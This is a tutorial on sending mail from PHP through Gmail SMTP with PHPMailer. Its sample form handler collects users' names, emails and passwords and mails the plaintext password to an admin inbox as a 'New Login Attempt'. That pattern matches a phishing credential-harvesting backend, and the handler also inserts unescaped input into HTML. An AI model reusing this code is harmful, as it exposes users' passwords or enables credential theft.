How to Send Emails From Your Web Server With the PHP mail() Function and PHPMailer
SMTP (Simple Mail Transfer Protocol) is a widely used protocol for sending email over the Internet. PHP developers often use the popular PHPMailer library to handle email functionality in their applications. This guide provides an overview of setting up SMTP mail using PHP, integrating PHPMailer, and creating a simple login form to demonstrate sending emails.
What is SMTP?
SMTP is a communication protocol used to send email between servers. It enables reliable delivery of messages, and is the backbone of email transmission over the Internet.
Why Use SMTP?
- Authentication and Security: This ensures that the sender of the email is verified, reducing the possibility of spam.
- Reliability:Provides better email delivery by avoiding common problems with PHP’s
mail()
function. - Encryption: Supports encryption protocols like TLS or SSL to protect sensitive data.
How to setup SMTP Mailer in PHP?
To integrate SMTP into PHP, we use PHPMailer, a robust library that makes it easy to send email via SMTP. PHPMailer supports advanced functionalities including HTML emails, attachments and multiple recipients.
Prerequisites
- PHPMailer Installation:
- Download the PHPMailer library from GitHub or install it using Composer:
2. SMTP Credentials:
- Get your SMTP server address, email address, and password (or app-specific password if using Gmail).
Implementation Steps
Step 1: Create an HTML Form
This form is designed for users to enter their name, email and password.
Send Emails From Your Web Server With the PHP mail() Function and PHPMailer | Codingtutorials
Registration Form
Complete Code: PHP with SMTP Mailer
Step 2: Configure PHPMailer in PHP
The PHP scriptdata.php
handles the form submission and sends an email with the user input. - Configure SMTP settings such as server, port, and encryption method.
- Define the subject, body, and recipient.
if ($_SERVER["REQUEST_METHOD"] == "POST") {
$name = $_POST['name'];
$email = $_POST['email'];
$password = $_POST['password'];
// Create a new PHPMailer instance
$mail = new PHPMailer(true);
try {
// Server settings
$mail->isSMTP(); // Use SMTP
$mail->Host = 'smtp.gmail.com';
$mail->SMTPAuth = true;
$mail->Username = 'your_email@gmail.com';
$mail->Password = 'your_app_password';
$mail->SMTPSecure = PHPMailer::ENCRYPTION_STARTTLS;
$mail->Port = 587; // TCP port for Gmail
// Recipients
$mail->setFrom('admin@gmail.com', 'Admin'); // Replace with your email and sender name
$mail->addAddress('admin@gmail.com'); // Recipient email
$mail->addReplyTo('admin@gmail.com', 'Admin');
// Email content
$mail->isHTML(true); // Set email format to HTML
$mail->Subject = 'New Login Attempt';
$mail->Body = "A new login attempt was detected:
Email: $name
Email: $email
Password: $password
";
$mail->AltBody = "A new login attempt was detected:\nEmail: $email\nPassword: $password";
// Send email
$mail->send();
echo "Mail has been sent successfully!";
} catch (Exception $e) {
echo "Message could not be sent. Mailer Error: {$mail->ErrorInfo}";
}
}
Understanding the Code
- SMTP Settings: Use valid credentials to connect to your email provider’s SMTP server.
- TLS Encryption: Ensures secure transmission.
- Dynamic Content: User input (name, email and password) is included in the body of the email for demonstration purposes.
Testing the Application
- Place the HTML and PHP files in your web server directory.
- Submit the form using valid inputs.
- Check the recipient inbox for the test email.
By following these steps, you can effectively set up and send email using SMTP in PHP with PHPMailer. It is a reliable solution for implementing email functionality in web applications.
Complete Form download Link Available :
Send Emails From Your Web Server With PHPMailer Source Code
Send download link to: